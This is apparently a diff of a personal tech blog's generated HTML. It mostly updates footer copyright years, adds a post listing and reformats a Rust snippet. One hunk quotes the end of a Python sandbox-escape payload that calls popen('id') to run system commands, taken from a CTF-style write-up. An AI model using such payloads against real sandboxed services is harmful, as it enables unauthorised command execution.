<a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span>How I Use SWHKD in My Workflow</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span>How I Use SWHKD in My Workflow</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -8,4 +8,4 @@ An environment variable that all Go programs recognize, you say? I had a sneakin
|
||||
</span></span></code></pre></div><p>Ok bye.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/go class=list-tag>Go</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engieering class=list-tag>Reverse Engieering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/til class=list-tag>TIL</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span>←</span><span>Guide: Changing Recents Provider on /e/OS</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span>Need a hand?</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span>Need a hand?</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -5,4 +5,4 @@ Context aware autocompletes happen when the model watches your code so it can su
|
||||
<a href=https://lavafroth.is-a.dev/tags/ai class=list-tag>AI</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rant class=list-tag>Rant</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/copilot class=list-tag>Copilot</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span>←</span><span>Easy grep to detect stripped Go binaries</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span>In search of the smallest DNA complement function</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span>In search of the smallest DNA complement function</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -40,7 +40,7 @@ them.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-col
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> s;
|
||||
</span></span><span style=display:flex><span> };
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// Pest guarantees this for us. Still keeping a bit of sanity check.
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#a6e22e>assert!</span>(<span style=color:#a6e22e>matches!</span>(ch, <span style=color:#e6db74>'{'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'}'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>','</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'\\'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'-'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'+'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'~'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'@'</span>));
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#a6e22e>assert!</span>(<span style=color:#a6e22e>matches!</span>(ch, <span style=color:#e6db74>'{'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'}'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>','</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'\\'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'-'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'+'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'~'</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>'@'</span>));
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>&</span>s[<span style=color:#ae81ff>1</span><span style=color:#f92672>..</span>]
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>With this new function, our parser correctly unescapes the keys like so:</p><pre tabindex=0><code>Binding [Modifier("super"), Key { key: "+", attribute: KeyAttribute(0x0) }] → mpv ~/Music
|
||||
@@ -51,4 +51,4 @@ the next post because fixing this bug and keeping logs of why I did it felt more
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span>←</span><span>Modeling More Realistic Keybinds With Modifiers</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/timing-is-key/><span>Timing is Key: A Tale of Keystrokes and Timings</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/timing-is-key/><span>Timing is Key: A Tale of Keystrokes and Timings</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -106,4 +106,4 @@ of them, thereby executing the system commands.</p><div class=highlight><pre tab
|
||||
</span></span><span style=display:flex><span><span style=color:#f92672>.</span>popen(<span style=color:#e6db74>'id'</span>)<span style=color:#f92672>.</span>read()
|
||||
</span></span></code></pre></div><p>There you have it! This payload will work as long as there is at least one subclass in the subclasses list
|
||||
which makes use of <code>sys</code>. With that, our object oriented quest has come to an end.</p><p>Thanks for giving this a read!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>←</span><span>Notepad</span></a><br></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>←</span><span>Notepad</span></a><br></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -42,4 +42,4 @@ same file read independent of the <code>sys</code> module.</p><div class=highlig
|
||||
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span>←</span><span>Pixelated</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span>I Saw a Little Elf</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/><span>I Saw a Little Elf</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -139,4 +139,4 @@ We also allocate a list of 61 <code>None</code> singletons since the program exi
|
||||
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span>←</span><span>Abstracting Structured Patterns in Concurrent Programming</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span>Compact XOR</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span>Compact XOR</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -40,4 +40,4 @@ my videos. Bye!</p></section><footer class=post-tags data-pagefind-meta=tags><a
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/video-editing class=list-tag>Video Editing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span>←</span><span>Painlessly setting up ML tooling on NixOS</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span>Polishing and Bugfix Week</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span>Polishing and Bugfix Week</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -51,4 +51,4 @@ commands in the code side of this endeavor. See you around.</p></section><footer
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/><span>←</span><span>Polishing and Bugfix Week</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span>Preventing Infinite Recursions From Eating Your Lunch</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/><span>Preventing Infinite Recursions From Eating Your Lunch</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -52,4 +52,4 @@ or System76. I just like what they are doing and I recommend saving up a bit to
|
||||
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span>←</span><span>Modes, Unbinds and Other Ensembled Parser Patterns</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span>Modeling More Realistic Keybinds With Modifiers</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><span>Modeling More Realistic Keybinds With Modifiers</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -26,4 +26,4 @@ The whole learning experience as well as daily driving NixOS has been very enjoy
|
||||
to get started. Once you have a rough idea, you could check out <a href=https://github.com/lavafroth/dotfiles>my own NixOS configuration files</a>. Maybe you can incorporate a part of the config you find interesting into your own.</p><p>Happy Nixing!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span>←</span><span>Waiting an Eternity</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span>Twosum</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span>Twosum</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -167,4 +167,4 @@ this differently by shooting me an email!</p><p>Bye now.</p></section><footer cl
|
||||
<a href=https://lavafroth.is-a.dev/tags/bioinformatics class=list-tag>Bioinformatics</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/linear-algebra class=list-tag>Linear Algebra</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/remainder-theorem class=list-tag>Remainder Theorem</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span>←</span><span>Need a hand?</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span>Building an in-browser Manim clone</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span>Building an in-browser Manim clone</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,4 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../pagefind/pagefind-ui.css rel=stylesheet><script src=../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../pagefind/pagefind-ui.css rel=stylesheet><script src=../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a class=post-link aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/></a></article><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a>
|
||||
@@ -38,11 +38,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a>
|
||||
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
|
||||
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><nav data-main><a href=#>Previous Page</a>
|
||||
